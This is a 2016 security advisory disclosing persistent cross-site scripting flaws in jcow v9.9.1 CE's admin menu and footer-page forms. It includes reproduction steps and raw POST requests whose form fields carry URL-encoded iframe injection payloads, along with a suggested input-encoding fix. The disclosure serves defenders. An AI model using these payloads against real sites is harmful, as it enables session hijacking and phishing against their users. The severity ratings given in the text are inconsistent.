jcow v9.9.1 CE - Multiple Persistent Cross Site Vulnerabilities

Document Title:
===============
jcow v9.9.1 CE - Multiple Persistent Cross Site Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1770


Release Date:
=============
2016-02-29


Vulnerability Laboratory ID (VL-ID):
====================================
1770


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
Jcow is a flexible Social Networking software written in PHP. It can help you to ... Build a social network for your interests and passions.
Build a member community for your existing website. Build a social networking site like facebook/myspace/twitter.

(Copy of the Homepage: https://www.softaculous.com/apps/socialnetworking/Jcow )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple application-side cross site scripting vulnerability in the jcow v9.9.1 CE web-application.


Vulnerability Disclosure Timeline:
==================================
2016-03-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A persistent cross site scripting vulnerability has been discovered in the official jcow v9.9.1 CE Social Network web-application product. 
The security vulnerability allows remote attackers to inject own script code on the application-side of the affected application modules. 

The vulnerabilities are Located in [Footer and header input fields]. Remote attackers  are able to inject own malicious script code via POST 
method request on the application-side. The injection point are the [form_content] & [name_numeric id] parameters. The request method to 
inject is POST and the vulnerability is located on the application-side of the vulnerable online-service.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. 
Exploitation of the persistent input validation web vulnerability requires a privileged web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious 
source and persistent manipulation of affected or connected application modules.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Footer
				[+] Header

Vulnerable Parameter(s):
				[+] form_content
				[+] name_numeric id


Proof of Concept (PoC):
=======================
The vulnerbailities can be exploited by remote attackers with privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Open the web-application
2. Login to the web-application
3. Go to the following url ...
Note: http://localhost/jcow/index.php?p=member/login
4. After login injection is possible in the following locations with script code payloads 
[+] http://localhost:8080/jcow/index.php?p=admin/menu [Vulnerable parameters : people , images , blogs ] 
[+] http://localhost:8080/jcow/index.php?p=admin/footer_pages/
[+] http://localhost:8080/jcow/index.php?p=admin/footer_pages/add
5. Save the entry and the code executes in the affected panel index module
6. Successful reproduce of the web vulnerability!


--- PoC Session Logs POST] --- (Modify header menu POC)
POST /jcow/index.php?p=admin/menu/post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 507

active_14=1&weight_14=0&name_14=News+feed&app_14=feed&active_13=1&weight_13=5&name_13=
people%27%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvulnerability-lab.com%3E&app_13=browse&active_18=1&weight_18=20&name_18=My
+account&app_18=account&active_23=1&weight_23=20&name_23=Invite&app_23=invite&active_111=1&weight_111=41&name_111=
Images&app_111=images&active_205=1&weight_205=46&name_205=Blogs&app_205=blogs&active_208=1&weight_208=49&name_208=
Audios&app_208=music&active_211=1&weight_211=52&name_211=Videos&app_211=videos


--- PoC Session Logs POST] --- (Modify footer fields POC)
POST /jcow/index.php?p=admin/footer_pages/modifypost HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 136

link_name=Footer&name=nameofit&form_content=[PERSISTENT CODE]&id=4


--- PoC Session Logs POST] --- (Add Footer new page POC)
POST /jcow/index.php?p=admin/footer_pages/add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

link_name=testpage&name=test&form_content=%27%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvulnerability-lab.com%3E


Solution - Fix & Patch:
=======================
the vulnerability can be patched by a secure parse and encode of vulnerable parameters 
[form_content , name_numericid ] input fields .Restrict the input and disallow usage of special chars.
Filter and setup a secure exception handling that prevents the persistent execution in the output location.


Security Risk:
==============
The security risk of application-side cross site scripting web vulnerability in web application is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer


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